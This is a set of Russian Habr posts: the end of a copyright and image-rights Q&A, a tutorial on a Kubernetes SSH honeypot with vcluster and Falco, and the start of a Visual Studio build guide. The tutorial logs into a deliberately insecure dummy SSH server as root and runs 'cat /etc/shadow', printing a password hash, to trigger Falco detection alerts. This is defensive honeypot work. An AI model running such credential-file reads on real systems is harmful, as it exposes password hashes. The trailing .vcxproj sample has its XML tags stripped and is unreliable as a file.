более 70 лет со дня смерти автора. > Однажды коллега попросил прислать форму договора с актером, который будет участвовать в съемках рекламного видеоролика. Договор я прислал и уточнил - нужны ли договоры с другими участниками этого процесса? С композитором? Исполнителем песен? Автором сценария? Где будет использоваться музыка? > > В таких договорах должен быть зафиксирован способ использования результатов интеллектуальной деятельности или их фрагментов любыми способами с правом сообщения в эфир, по кабелю, на распространение путем продажи, на доведение до всеобщего сведения, на публичное исполнение, на использование образа в печатных материалах для распространения в местах продаж товаров, наружной рекламе неограниченным тиражом, в профессиональных публикациях, стендах, на выставках и т.д. на территории России на конкретный срок. Кроме того, не лишним будет заранее договориться и предусмотреть использование изображений в составе видео являющихся его фрагментами для создания трейлеров, тизеров, рекламных роликов и т. п. > Наш конкурент нагло копирует разработанные нами образы детских игрушек. Создает похожие и продает. Как его наказать и пресечь незаконное использование? > > Направьте конкуренту по [юридическому адресу](https://pb.nalog.ru/) требование ценным письмом в свободной форме о прекращении незаконного использование результатов интеллектуальной собственности, товарных знаков и иных образов, автором которых являетесь Вы. Приложите доказательства Вашего авторства. Если после получения требования получите отказ или требование будет проигнорировано - обращайтесь в полицию с заявлением с просьбой привлечь нарушителя к административной ответственности и в суд с иском о запрете незаконного использования образом и взыскания убытков. > За нарушение этих требований можно получить административный штраф до 40 тыс. руб. с конфискацией контрафактных экземпляров произведений и фонограмм (см. 7.12 КоАП РФ) или лишение свободы сроком до 2 лет (статья 146 Уголовного кодекса РФ). > > Практика показывает, что правообладатели весьма успешно защищают свои права и запрещают незаконное использование. ООО Смешарики, например, имеет более 500 судов с коммерсантами о взыскании компенсации за нарушение исключительных авторских прав на произведения изобразительного искусства — рисунки: «Лосяш», «Нюша», «Крош», «Копатыч» с ожидаемым исходом. В этом можно убедиться, если зайти на сайт арбитражного суда <https://kad.arbitr.ru/> и вбить в поиск ООО Смешарики. Тем кому лень открывать и что-то искать можно почитать решения судов о том, как правообладатель наказывает рублем кондитеров: [раз](https://kad.arbitr.ru/Document/Pdf/cce961d7-62c5-48fc-810c-7c2dc2e1328a/576902a6-4a34-4630-993e-219f9114e8ec/A82-19278-2020_20210315_Opredelenie.pdf?isAddStamp=True), [два](https://kad.arbitr.ru/Document/Pdf/38c0e509-5c89-42b6-a1bd-bf1e1a365b55/fe129753-3621-4370-b858-0243fa2bd866/A74-11897-2020_20210121_Reshenija_i_postanovlenija.pdf?isAddStamp=True), [три](https://kad.arbitr.ru/Document/Pdf/42c1084f-00f3-49a4-a39b-a5de4d46a317/7e70b3b4-3c7c-4bdd-9b10-41bb81b59863/A79-10787-2020_20210202_Reshenie.pdf?isAddStamp=True). Кроме государева "ока" за соблюдением авторских прав бдят и видеосервисы и по заявлению правообладателей достаточно оперативно удаляют видео. > А как понять, что тот, с кем я заключаю договор - законный собственник прав на музыку или текст, а не шарлатан? > > Если Вы хотите узнать, кто собственник помещения, здания или земельного участка - Вы обращаетесь к единому [Государственному реестру недвижимости Росреестра](https://rosreestr.gov.ru/wps/portal/p/cc_present/EGRN_1). Если хотите узнать собственника товарного знака - Вы обращаетесь к сайту [Роспатента.](https://www.fips.ru/registers-web/) Какого-то единого реестра прав на музыку или текст песен нет. Поэтому проверку легальности продажи вам прав на произведение придется проводить самому с определенным допуском достоверности. Для уже опубликованных произведений можно проверить дату когда была первая публикация музыки или текста (если она публиковалась) с указанием автора или текста опубликовать с указанием депонирование. Если произведение не публиковалось рекомендуется пользоваться услугой по "депонированию произведения", то есть фиксацию того, что вы "зафиксировали" в конкретную дату существование и обладание таким объектом. В случае спора это поможет доказать, что Вы первый правообладатель. Депонированием занимаются нотариусы, отдельные некоммерческие организации. Но риск купить контрафакт у мошенника в любом случае имеет место. > Ок, а кто с кем должен заключать договоры? > > При создании фильма порядок оформления отличается от оформления прав на фото. Договор с правообладателями музыки, сценария заключает лицо, которое организовывает создание фильма - продюсер. Это лицо занимается организацией создания фильма - приобретением прав на использование музыки в видео, права на использование сценария, на экранизацию(если необходимо), ищет актеров и заключает с ними договоры, заключает договор с режиссером, решает организационные вопросы. Кроме того, продюсер получает права на фильм в целом - это единственный "собственник" фильма, только он, как правило, впоследствии может распоряжаться видео, продавать его или сдавать в прокат. У остальных авторов фильма/видео - композитора, автора сценария, актеров, режиссеров и иных соавторов есть право быть указанными в качестве авторов и право на вознаграждение, но распоряжаться таким видео т. е. продавать права на него другим людям они не могут. В этом смысле нет существенной разницы между полнометражным художественным фильмом, рекламным роликом и коротким видео в Youtube, Instagram или на ином сервисе. Регулирование рекламного ролика и художественного фильма одинаковое. > Наш класс школьному фотографу предпочел фотосъемку в фотостудии. В предыдущие годы, по разговорам, др. классы поступали аналогично, но сталкивались с тем, что директор отказывалась сниматься у сторонних фотографов. Собственно, вопрос. Наш родительский комитет предложит все же директору посетить выбранную ими фотостудию и сфотографироваться на альбом. Если фотограф из фотостудии возьмет фото директора с официального сайта школы и разместит в школьных альбомах, это будет законно? Приравнивается ли в этом случае директор к публичным людям вроде политиков и т.д.? > > Директор школы не государственный служащий. А вот принадлежность его к политической деятельности понятие субъективное и определяется деятельностью самого директора, а не его должностью. Верховный суд по этому поводу сказал следующее: *Без согласия гражданина обнародование и использование его изображения допустимо в силу подпункта 1 пункта 1 статьи 152.1 ГК РФ, то есть когда имеет место публичный интерес, в частности если такой гражданин является публичной фигурой (занимает государственную или муниципальную должность, играет существенную роль в общественной жизни в сфере политики, экономики, искусства, спорта или любой иной области), а обнародование и использование изображения осуществляется в связи с политической или общественной дискуссией или интерес к данному лицу является общественно значимым.Вместе с тем согласие необходимо, если единственной целью обнародования и использования изображения лица является удовлетворение обывательского интереса к его частной жизни либо извлечение прибыли.Не требуется согласия на обнародование и использование изображения гражданина, если оно необходимо в целях защиты правопорядка и государственной безопасности (например, в связи с розыском граждан, в том числе пропавших без вести либо являющихся участниками или очевидцами правонарушения).* > Если я заключу договор с конкретным человеком или ЮЛ на создание звуковой композиции или изображения, например, для компьютерной игры, которую я делаю, а потом окажется, что они это украли, то нести ответственность мне? > > Это так. Но у вас будет право переложить на них убытки в виде тех сумм, которые вы заплатили правообладателям. Какие именно расходы включаются в такие убытки желательно прописать в соглашении. > Я - человек, который не любит фотографироваться. Я часто замечаю, как граждане снимают видео/фото в общественном месте. Если у меня есть все основания полагать, что я был запечатлен чужой камерой, имею ли я хоть какие-то права? Что реально может сделать человек, которого фотографируют без его на то согласия? > > Если вы попали в кадр на улице случайно и вас не снимали специально и видео не о вас - то ничего противозаконного нет. Но если конкретно вас специально снимали на фото или видео - то вы можете требовать удаления этих фото или видео в суде. Если они появятся в соцсетях - требовать удаления таких материалов от самих соцсетей и т.п. > Я могу потребовать если я попал в кадр новостей чтобы меня не показывали? > > В законе о СМИ прописаны требования для журналисткой деятельности и они такие же - журналист обязан получить ваше согласие кроме случаев если вас снимали вследствие обсуждения какого-либо вопроса - то есть если вас остановили на улице задали вопрос и вы ответили на него, то вы приняли участие в общественной дискуссии и тем самым согласились на съёмку. В целом у судов неоднозначный подход к этому вопросу. Вот что пишет Конституционный суд, например, *"Кроме того, фотографии, на которых А.О. Безрукова позировала фотографу, были сделаны во время проведения публичного мероприятия с участием прессы, что могло свидетельствовать о наличии ее волеизъявления не только на фотосъемку, но и на дальнейшее обнародование и использование этих изображений в средствах массовой информации."* Размещенные изображения и текст на сайте целесообразно "защитить" знаком охраны авторства. (копирайт). Знак охраны авторского права состоит из латинской буквы "С" в окружности, наименования объекта защиты права, имени правообладателя и цифрового обозначения года первого опубликования произведения (без слова "год" или сокращения "г."). От копирования он, сам по себе не спасает, но может быть полезен при доказывании своего авторства. Если кому интересно, то правилам написания копирайта посвящен [целый ГОСТ](https://docs.cntd.ru/document/1200032004) Р 7.0.1-2003. **Спасибо, что дочитали до конца. Если у Вас остались вопросы - Вы можете задавать их в комментариях и прислать по почте по адресу p\_slizky@mail.ru** .
https://habr.com/ru/post/548632/
null
ru
null
# Строим приманки для взломщиков с помощью vcluster и Falco. Эпизод I ***Прим. переводчика:****автор статьи предлагает реализацию honeypot'а («приманки») на основе виртуального кластера Kubernetes, чтобы обнаруживать попытки взлома K8s-инфраструктуры. Также в статье рассматриваются отличия низкоинтерактивных и высокоинтерактивных приманок.* Если не вдаваться в детали, главная задача приманок — соблазнять злоумышленников, отвлекая от реальных целей, и попутно собирать информацию об их деятельности. Сегодня мы попытаемся создать такую приманку с помощью vcluster и Falco. ![Изображение из оригинальной статьи Sysdig](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/0eb/1b5/69c/0eb1b569cbb1970362e8697e9b896cb2.jpg "Изображение из оригинальной статьи Sysdig")Изображение из оригинальной статьи SysdigВ первой части серии речь пойдет о том, как собрать простую SSH-ловушку для выявления атак, направленных на среду исполнения. Почему именно приманки ---------------------- Приманки, или [honeypot'ы](https://csrc.nist.gov/glossary/term/honeypot), могут моделировать практически любой тип цифровых активов, включая приложения, системы, сети, устройства IoT, компоненты SCADA и многое другое. Их сложность варьируется от так называемых honeytoken'ов — отдельных файлов, дополненных соответствующим инструментарием, до honeynets — разветвленных сетей, включающих множество систем и инфраструктурных компонентов. Приманки подобного типа очень *полезны для сбора оперативной информации*, поскольку позволяют командам и исследователям, специализирующимся на безопасности, получить представление об инструментах, методах и процедурах злоумышленников, а также выступают основой для индикаторов компрометации\* в различных инструментах безопасности. \* Прим. переводчика*Indicators of compromise, IoCs* — артефакты, наблюдаемые в сети или в операционной системе, которые с высокой степенью достоверности указывают на вторжение. Приманки можно классифицировать по уровню сложности: высокоинтерактивные и низкоинтерактивные. Отличия приманок с разными уровнями сложностями ----------------------------------------------- *Низкоинтерактивные приманки* — аналог утиного манка в мире инструментов для безопасности. Для их запуска не требуются значительные ресурсы. При этом они, как правило, способны только на базовые действия — например, могут выдавать относительно реалистичный баннер в ответ на запросы на стандартный порт. Обычно этим дело и ограничивается. Такая приманка может заинтересовать злоумышленника при сканировании портов и служб, но отсутствие какой-либо иной активности на принимающей стороне, скорее всего, не увлечет его надолго. Кроме того, низкоинтерактивные приманки не позволяют получить представление о том, что именно делает злоумышленник. Они не обеспечивают достаточной области атаки, с которой тот мог бы взаимодействовать. Если низкоинтерактивные приманки — это утиные манки, то *высокоинтерактивные приманки* — это полноценные подсадные утки. Они гораздо лучше заманивают злоумышленников, однако существует риск потерять «утку» в процессе. Высокоинтерактивные приманки часто представляют собой реалистичные системы с реальными работающими приложениями. Они оснащены дополнительными инструментами для тщательного отслеживания вредоносной активности. Это позволяет проследить всю цепочку действий злоумышленников, идентифицировать используемые эксплойты, а также получить копии загружаемых инструментов, двоичных файлов, используемых учетных данных и т. д. С точки зрения сбора полезной информации все это замечательно. Однако не следует забывать, что в руки злоумышленников передается реальный актив, и необходимо тщательно следить за тем, что они с ним делают. Одна из главных проблем высокоинтерактивных приманок — изоляция атакующего от остального окружения. В случае приманок, построенных с использованием инструментов контейнеризации, таких как Kubernetes, следует внимательно следить за тем, чтобы атакующий не получил доступ к частям кластера, отвечающим за работу приманки. Также нельзя открывать доступ к инструментарию для наблюдения за приманкой и управления ею. Это непростая задача. Частью притягательности приманки приходится жертвовать, защищая ее критические компоненты от доступа злоумышленников. Другими словами, приходится следить за всем, что злоумышленник может использовать для нацеливания на сам кластер или на инструментарий для наблюдения, либо создавать обходные пути для предотвращения нежелательного вмешательства. Виртуальные кластеры спешат на помощь ------------------------------------- Виртуальные кластеры работают поверх основного кластера Kubernetes. Схема позволяет запускать множество виртуальных кластеров. Каждый такой кластер будет находиться в обособленной среде, без какой-либо возможности связаться с другими виртуальными кластерами или с хост-кластером. Изоляция позволяет раскрывать ключевые внутренние элементы виртуального кластера — ничто не будет указывать, что этот кластер работает поверх другого. Можно раскрывать элементы инфраструктуры Kubernetes, инструменты обслуживания и другие компоненты, не опасаясь за судьбу кластера. ![Архитектура vcluster’а](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b03/ca4/a4c/b03ca4a4ccd2d27a960206e4c30cdbb0.png "Архитектура vcluster’а")Архитектура vcluster’аСуществуют различные проекты виртуальных кластеров, которые можно использовать для организации приманки. Среди них [vcluster](https://www.vcluster.com/) выглядит, пожалуй, наиболее перспективно. Кроме того, проект отличается хорошей поддержкой. Ребята из vcluster очень дружелюбны и отзывчивы, обязательно зайдите и поздоровайтесь с ними в [Slack'е](https://slack.loft.sh/)! Создаём приманку на vcluster ---------------------------- В этом разделе мы развернем простую приманку с помощью vlcuster. Специально ограничимся базовым примером. Впрочем, он будет хорошим фундаментом, на котором можно строить любые дальнейшие эксперименты. Нам потребуются следующие инструменты с указанными минимальными версиями: * Minikube v1.26.1; * Helm v3.9.2; * kubectl v1.25.0; * vcluster 0.11.2. ### Пошаговая установка приманки на базе vcluster и Falco Прежде всего необходимо установить исполняемый файл vcluster: ``` $ curl -s -L "https://github.com/loft-sh/vcluster/releases/latest" | sed -nE 's!.*"([^"]*vcluster-linux-amd64)".*!https://github.com\1!p' | xargs -n 1 curl -L -o vcluster && chmod +x vcluster; 1 curl -L -o vcluster && chmod +x vcluster; % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 36.8M 100 36.8M 0 0 10.4M 0 0:00:03 0:00:03 --:--:-- 11.2M $ sudo mv vcluster /usr/local/bin; $ vcluster version vcluster version 0.11.2 ``` ### Разворачиваем локальный кластер Kubernetes Создать кластер можно множеством способов. В нашем случае мы воспользуемся [Minikube](https://minikube.sigs.k8s.io/docs/start/). > **Примечание:** > > Нам подходят драйверы `virtualbox`, `qemu` или `kvm2` для Minikube, но не драйвер `none`. Falco не сможет правильно развернуть свой драйвер, если использовать `none`. > > Кроме того, поскольку используется драйвер `virtualbox`, развертывание необходимо проводить на реальном оборудовании. Драйвер не будет работать в виртуальной машине, в инстансе EC2 и аналогичных средах. > > Давайте создадим кластер. После запуска команды `start minikube` несколько минут будут собираться все нужные компоненты: ``` $ minikube start --vm-driver=virtualbox 😄 minikube v1.26.1 on Ubuntu 22.04 ✨ Using the virtualbox driver based on user configuration 👍 Starting control plane node minikube in cluster minikube 🔥 Creating virtualbox VM (CPUs=2, Memory=6000MB, Disk=20000MB) ... 🐳 Preparing Kubernetes v1.24.3 on Docker 20.10.17 ... ▪ Generating certificates and keys ... ▪ Booting up control plane ... ▪ Configuring RBAC rules ... ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5 🔎 Verifying Kubernetes components... 🌟 Enabled addons: storage-provisioner 🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default ``` ### Добавляем в приманку инструментарий Falco Теперь нужно установить Falco: ``` $ helm repo add falcosecurity https://falcosecurity.github.io/charts "falcosecurity" has been added to your repositories $ helm repo update Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "falcosecurity" chart repository Update Complete. ⎈Happy Helming!⎈ $ helm upgrade --install falco --set driver.loader.initContainer.image.tag=master --set driver.loader.initContainer.env.DRIVER_VERSION="2.0.0+driver" --set tty=true --namespace falco --create-namespace falcosecurity/falco Release "falco" does not exist. Installing it now. NAME: falco LAST DEPLOYED: Thu Sep 8 15:32:45 2022 NAMESPACE: falco STATUS: deployed REVISION: 1 TEST SUITE: None NOTES: Falco agents are spinning up on each node in your cluster. After a few seconds, they are going to start monitoring your containers looking for security issues. No further action should be required. Tip: You can easily forward Falco events to Slack, Kafka, AWS Lambda and more with falcosidekick. Full list of outputs: https://github.com/falcosecurity/charts/tree/master/falcosidekick. You can enable its deployment with `--set falcosidekick.enabled=true` or in your values.yaml. See: https://github.com/falcosecurity/charts/blob/master/falcosidekick/values.yaml for configuration values. ``` На запуск Pod'а с Falco уйдет несколько минут. Проверить его состояние и просмотреть журналы, чтобы убедиться, что все идет гладко, можно с помощью `kubectl`: ``` $ kubectl get pods -n falco -o wide NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES falco-zwfcj 1/1 Running 0 73s 172.17.0.3 minikube $ kubectl logs falco-zwfcj -n falco Defaulted container "falco" out of: falco, falco-driver-loader (init) Thu Sep 8 22:32:47 2022: Falco version 0.32.2 Thu Sep 8 22:32:47 2022: Falco initialized with configuration file /etc/falco/falco.yaml Thu Sep 8 22:32:47 2022: Loading rules from file /etc/falco/falco\_rules.yaml: Thu Sep 8 22:32:47 2022: Loading rules from file /etc/falco/falco\_rules.local.yaml: Thu Sep 8 22:32:48 2022: Starting internal webserver, listening on port 8765 ``` ### Собираем всё вместе и создаем виртуальный кластер Теперь необходимо создать пространство имен для виртуального кластера в основном и развернуть в нем виртуальный: ``` $ kubectl create namespace vcluster namespace/vcluster created $ vcluster create ssh -n vcluster info Detected local kubernetes cluster minikube. Will deploy vcluster with a NodePort & sync real nodes info Create vcluster ssh... info execute command: helm upgrade ssh https://charts.loft.sh/charts/vcluster-0.11.2.tgz --kubeconfig /tmp/3673995455 --namespace vcluster --install --repository-config='' --values /tmp/641812157 done √ Successfully created virtual cluster ssh in namespace vcluster info Waiting for vcluster to come up... warn vcluster is waiting, because vcluster pod ssh-0 has status: ContainerCreating done √ Switched active kube context to vcluster_ssh_vcluster_minikube - Use `vcluster disconnect` to return to your previous kube context - Use `kubectl get namespaces` to access the vcluster ``` ### Устанавливаем SSH-приманку Виртуальный кластер готов. Теперь в нем можно создать незащищенный SSH-сервер и использовать его в качестве мишени. Для этого воспользуемся специальным небезопасным Helm-чартом SSH-сервера от [sourcecodebox.io](https://artifacthub.io/packages/helm/securecodebox/dummy-ssh). Учетные данные для этого сервера — `root/THEPASSWORDYOUCREATED`. ``` $ helm repo add securecodebox https://charts.securecodebox.io/ "securecodebox" has been added to your repositories $ helm repo update Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "falcosecurity" chart repository ...Successfully got an update from the "securecodebox" chart repository Update Complete. ⎈Happy Helming!⎈ $ helm install my-dummy-ssh securecodebox/dummy-ssh --version 3.14.3 NAME: my-dummy-ssh LAST DEPLOYED: Thu Sep 8 15:53:15 2022 NAMESPACE: default STATUS: deployed REVISION: 1 TEST SUITE: None NOTES: Demo SSH Server deployed. Note this should used for demo and test purposes. Do not expose this to the Internet! ``` Изучаем разные контексты ------------------------ Итак, внутри виртуального кластера теперь у нас работает некий сервис. Давайте рассмотрим два различных контекста. > **Примечание:** > > Контекст в Kubernetes — это набор параметров для доступа к определенному кластеру. Переключение контекста меняет всё окружение для команд вроде `kubectl` с одного кластера на другой. > > Сперва давайте взглянем на все ресурсы, существующие в кластере, с точки зрения виртуального кластера: ``` $ kubectl get all --all-namespaces NAMESPACE NAME READY STATUS RESTARTS AGE kube-system pod/coredns-6ffcc6b58-h7zwx 1/1 Running 0 m26s default pod/my-dummy-ssh-f98c68f95-vwns 1/1 Running 0 m1s NAMESPACE NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE default service/kubernetes ClusterIP 10.96.112.178 443/TCP m26s kube-system service/kube-dns ClusterIP 10.97.196.120 53/UDP,53/TCP,9153/TCP m26s default service/my-dummy-ssh ClusterIP 10.99.109.0 22/TCP m1s NAMESPACE NAME READY UP-TO-DATE AVAILABLE AGE kube-system deployment.apps/coredns 1/1 1 1 m26s default deployment.apps/my-dummy-ssh 1/1 1 1 m1s NAMESPACE NAME DESIRED CURRENT READY AGE kube-system replicaset.apps/coredns-6ffcc6b58 1 1 1 m26s default replicaset.apps/my-dummy-ssh-f98c68f95 1 1 1 m1s ``` Видна обычная инфраструктура Kubernetes, а также Pod и сервис `my-dummy-ssh`, запущенные в пространстве имен `default`. Обратите внимание, что ресурсы Falco не отображаются, поскольку последний установлен в хост-кластере и не виден из виртуального кластера. Теперь давайте переключим контексты, отключившись от виртуального кластера. Это вернет нас к контексту хост-кластера: ``` $ vcluster disconnect info Successfully disconnected from vcluster: ssh and switched back to the original context: minikube ``` Если теперь попросить `kubectl` еще раз вывести список ресурсов, картина будет совсем иной: ``` $ kubectl get all --all-namespaces NAMESPACE NAME READY STATUS RESTARTS AGE falco pod/falco-zwfcj 1/1 Running 0 5m kube-system pod/coredns-d4b75cb6d-ttwdl 1/1 Running 0 4m kube-system pod/etcd-minikube 1/1 Running 0 4m kube-system pod/kube-apiserver-minikube 1/1 Running 0 4m kube-system pod/kube-controller-manager-minikube 1/1 Running 0 4m kube-system pod/kube-proxy-dhg9v 1/1 Running 0 4m kube-system pod/kube-scheduler-minikube 1/1 Running 0 4m kube-system pod/storage-provisioner 1/1 Running 0 4m vcluster pod/coredns-6ffcc6b58-h7zwx-x-kube-system-x-ssh 1/1 Running 0 1m vcluster pod/my-dummy-ssh-f98c68f95-vwns-x-default-x-ssh 1/1 Running 0 5m vcluster pod/ssh-0 2/2 Running 0 1m NAMESPACE NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE default service/kubernetes ClusterIP 10.96.0.1 443/TCP 4m kube-system service/kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 4m vcluster service/kube-dns-x-kube-system-x-ssh ClusterIP 10.97.196.120 53/UDP,53/TCP,9153/TCP 1m vcluster service/my-dummy-ssh-x-default-x-ssh ClusterIP 10.99.109.0 22/TCP 5m vcluster service/ssh NodePort 10.96.112.178 443:31530/TCP 1m vcluster service/ssh-headless ClusterIP None 443/TCP 1m vcluster service/ssh-node-minikube ClusterIP 10.102.36.118 10250/TCP 1m NAMESPACE NAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE NODE SELECTOR AGE falco daemonset.apps/falco 1 1 1 1 1 5m kube-system daemonset.apps/kube-proxy 1 1 1 1 1 kubernetes.io/os=linux 4m NAMESPACE NAME READY UP-TO-DATE AVAILABLE AGE kube-system deployment.apps/coredns 1/1 1 1 4m NAMESPACE NAME DESIRED CURRENT READY AGE kube-system replicaset.apps/coredns-d4b75cb6d 1 1 1 4m NAMESPACE NAME READY AGE vcluster statefulset.apps/ssh 1/1 1m ``` Видны ресурсы Falco и ресурсы SSH-инсталляции из виртуального кластера. На этот раз они отображаются как работающие в пространстве имен `vcluster` на хост-кластере. Испытываем приманку ------------------- Наконец у нас все готово! Давайте сделаем какую-нибудь гадость, чтобы сработало правило Falco, и посмотрим, что из этого получится. Сымитировать реальное вторжение нам помогут три терминальных окна. ### Терминал 1 В первом окне мы настроим проброс портов, открыв SSH-сервер для локальной машины. Окно должно оставаться открытым, чтобы SSH-сессия оставалась активной. ``` kubectl port-forward svc/my-dummy-ssh 5555:22 ``` Эта команда откроет сервис на `127.0.0.1`, порт `5555`. Теперь нужно убедиться, что для этого окна используется контекст `vcluster`. Если используется контекст для основного кластера, переключиться на нужный можно с помощью команды `vcluster connect ssh -n vcluster`: ``` $ kubectl port-forward svc/my-dummy-ssh 5555:22 Forwarding from 127.0.0.1:5555 -> 22 Forwarding from [::1]:5555 -> 22 ``` ### Терминал 2 В этом окне мы подключимся по SSH к сервису, который только что открыли на порту `5555`. Учетные данные: `root/THEPASSWORDYOUCREATED`: ``` $ ssh -p 5555 root@127.0.0.1 The authenticity of host '[127.0.0.1]:5555 ([127.0.0.1]:5555)' can't be established. ED25519 key fingerprint is SHA256:eLwgzyjvrpwDbDr+pDbIfUhlNANB4DPH9/0w1vGa87E. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[127.0.0.1]:5555' (ED25519) to the list of known hosts. root@127.0.0.1's password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 5.10.57 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. ``` Подключившись по SSH, мы теперь мечтаем сделать какую-нибудь гадость, чтобы сработало правило Falco. Например, можно посмотреть `/etc/shadow`: ``` root@my-dummy-ssh-7f98c68f95-5vwns:~# cat /etc/shadow root:$6$hJ/W8Ww6$pLqyBWSsxaZcksn12xZqA1Iqjz.15XryeIEZIEsa0lbiOR9/3G.qtXl/SvfFFCTPkElo7VUD7TihuOyVxEt5j/:18281:0:99999:7::: daemon:*:18275:0:99999:7::: bin:*:18275:0:99999:7::: sys:*:18275:0:99999:7::: sync:*:18275:0:99999:7::: ``` ### Терминал 3 В этом окне будем просматривать логи от Pod'а Falco: ``` $ kubectl logs falco-zwfcj -n falco 23:22:26.726981623: Notice Redirect stdout/stdin to network connection (user=root user_loginuid=-1 k8s.ns=vcluster k8s.pod=my-dummy-ssh-7f98c68f95-5vwns-x-default-x-ssh container=cffc68f50e06 process=sshd parent=sshd cmdline=sshd -D terminal=0 container_id=cffc68f50e06 image=securecodebox/dummy-ssh fd.name=172.17.0.1:40312->172.17.0.6:22 fd.num=1 fd.type=ipv4 fd.sip=172.17.0.6) 23:22:27.709831799: Warning Sensitive file opened for reading by non-trusted program (user=root user_loginuid=0 program=cat command=cat /etc/shadow file=/etc/shadow parent=bash gparent=sshd ggparent=sshd gggparent= container\_id=cffc68f50e06 image=securecodebox/dummy-ssh) k8s.ns=vcluster k8s.pod=my-dummy-ssh-7f98c68f95-5vwns-x-default-x-ssh container=cffc68f50e06 ``` Видно множество строк вида `Notice Redirect stdout/stdin to network connection` — результат проброса портов. Кроме того, есть сообщения с `Warning Sensitive file opened for read by non-trusted program` — результат нашей попытки прочитать `/etc/shadow`. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/28c/94f/0f3/28c94f0f3fda55fa75b754c1e31112f9.png)Вот оно! Это Falco сигнализирует о том, что кто-то копается в вещах, не предназначенных для его глаз, подключившись к нашей приманке через SSH. И все это происходит внутри виртуального кластера vcluster, который, в свою очередь, работает в хост-кластере. Убираем за собой ---------------- Убрать за собой беспорядок или начать все сначала (если дела пойдут настолько плохо) можно в несколько команд: удалите Falco и сервер SSH, разберитесь с Minikube и очистите временные файлы: ``` $ helm delete falco --namespace falco; helm delete my-dummy-ssh --namespace default; minikube delete --all -purge; sudo rm /tmp/juju* release "falco" uninstalled release "my-dummy-ssh" uninstalled 🔥 Deleting "minikube" in virtualbox ... 💀 Removed all traces of the "minikube" cluster. 🔥 Successfully deleted all profiles [sudo] password for user: ``` ### Стойте, это еще не все! Виртуальные кластеры чрезвычайно перспективны для исследований в области безопасности в целом и для организации приманок в частности. Область, несомненно, интересная для наблюдения, как для будущих разработок, так и с точки зрения применения этих инструментов технологической отраслью. В этой статье мы заложили хорошее начало, хотя многое еще можно отшлифовать и улучшить. Следите за нашими публикациями — в следующей части этой серии мы добавим механизм реагирования на базе [Falco Sidekick](https://github.com/falcosecurity/falcosidekick), запустим новые приманки во втором виртуальном кластере и подкрутим их настройки, сделав более безопасными. P.S. ---- Читайте также в нашем блоге: * [«9 лучших практик по обеспечению безопасности в Kubernetes»](https://habr.com/ru/company/flant/blog/436300/) * [«Безопасность для Docker-контейнеров»](https://habr.com/ru/company/flant/blog/474012/); * [«Наглядное руководство по SSH-туннелям»](https://habr.com/ru/company/flant/blog/691388/).
https://habr.com/ru/post/695390/
null
ru
null
# Настраиваем удобную сборку проектов в Visual Studio Эта статья является руководством по настройке сборки C++ проектов Visual Studio. Частично она сводилась из материалов разрозненных статей на эту тему, частично является результатом реверс-инжениринга стандартных конфигурационных файлов Студии. Я написал ее в основном потому что полезность документации от самой Microsoft на эту тему стремится к нулю и мне хотелось иметь под рукой удобный референс к которому в дальнейшем можно будет обращаться и отсылать других разработчиков. Visual Studio имеет удобные и широкие возможности для настройки по-настоящему удобной работы со сложными проектами и мне досадно видеть что из-за отвратительной документации эти возможности очень редко сейчас используются. В качестве примера попробуем сделать так чтобы в Студию можно было добавлять flatbuffer schema, а Студия автоматически вызывала flatc в тех случаях когда это нужно (и не вызывала — когда изменений не было) и позволяла задавать настройки напрямую через File Properties ![](https://habrastorage.org/r/w1560/webt/6i/je/ut/6ijeutripbsheofekqliayn0wqa.png) ### Оглавление [\* Level 1: лезем внутрь .vcxproj файлов](#lvl1) [Поговорим о .props файлах](#lvl1_props) [Но зачем вообще разделять .vcxproj и .props?](#lvl1_why) [Делаем настройку проекта читабельнее](#lvl1_readability) [Делаем удобным подключение сторонних библиотек](#lvl1_thirdparty) [Project Templates — автоматизируем создание проектов](#lvl1_templates) [\* Level 2: настраиваем кастомную компиляцию](#lvl2) [Традиционный подход](#lvl2_traditional) [Знакомимся с MSBuild targets](#lvl2_targets) [Попробуем создать target для сборки .proto файлов](#lvl2_proto_example) [Доводим наш модельный пример до ума](#lvl2_fixup) [U2DCheck и tlog файлы](#lvl2_tlog) [Финализуем наш кастомный .target](#lvl2_final) [А что насчет CustomBuildStep?](#lvl2_custom_bs) [Правильное копирование файлов](#lvl2_copy) [\* Level 3: интегрируемся с GUI от Visual Studio](#lvl3) [Вытаскиваем настройки из недр .vcxproj в Configuration Properties](#lvl3_settings) [Объясняем Студии про новые типы файлов](#lvl3_filetype) [Ассоциируем настройки с индивидуальными файлами](#lvl3_per_file_settings) [\* Level 4: расширяем функциональность MSBuild](#lvl4) ЗАМЕЧАНИЕ: все приведенные в статье примеры проверялись в VS 2017. В рамках моего понимания они должны работать и в более ранних версиях студии начиная по крайней мере с VS 2012, но обещать я этого не могу. ### Level 1: лезем внутрь .vcxproj файлов Давайте взглянем внутрь типичного .vcxproj автоматически сгенеренного Visual Studio. **Он будет выглядеть как-то примерно так** ``` xml version="1.0" encoding="utf-8"? Debug Win32 Release Win32 Debug x64 Release x64 15.0 {0D35456E-42DA-418B-87D4-55E32B8E1373} Win32Proj protobuftest 10.0.17134.0 Application true v141 Unicode Application false v141 true Unicode Application true v141 Unicode Application false v141 true Unicode true true false false Use Level3 Disabled true WIN32;\_DEBUG;\_CONSOLE;%(PreprocessorDefinitions) true pch.h Console true Use Level3 Disabled true 